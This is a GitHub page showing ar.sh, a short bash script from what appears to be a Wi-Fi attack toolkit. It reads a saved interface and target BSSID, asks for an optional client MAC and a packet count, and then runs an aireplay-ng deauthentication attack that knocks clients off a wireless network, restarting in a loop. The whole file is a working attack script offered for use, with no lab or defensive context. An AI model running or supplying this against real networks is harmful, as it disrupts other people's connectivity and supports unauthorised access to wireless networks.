-
Notifications
You must be signed in to change notification settings - Fork 84
/
ar.sh
42 lines (37 loc) · 972 Bytes
/
ar.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/bin/bash
read_parameters() {
interface=$(cat .interface.txt)
bssid=$(cat .current_target.txt)
}
aireplay() {
clear
echo -ne "[${green}+${default}] Press Enter to start deauthentication attack."
read
echo -ne "[${green}+${default}] Enter the MAC address of wireless client (optional, press enter for broadcast deauthentication): "
read client
echo -ne "[${green}+${default}] Enter the number of number of groups of deauthentication packets to send out: "
read packets
echo -e "[${green}+${default}] Press Enter to start the operation."
read
if [ -z "$client" ]
then
aireplay-ng -0 $packets -a $bssid $interface
restart
else
aireplay-ng -0 $packets -c $client -a $bssid $interface
unset client
restart
fi
}
restart() {
echo -e -n "\n[${green}*${default}] Operation completed. Press Enter to restart."
read
aireplay
}
red='\033[0;31m'
green='\033[0;32m'
yellow='\033[0;33m'
default='\033[0;39m'
read_parameters
aireplay
restart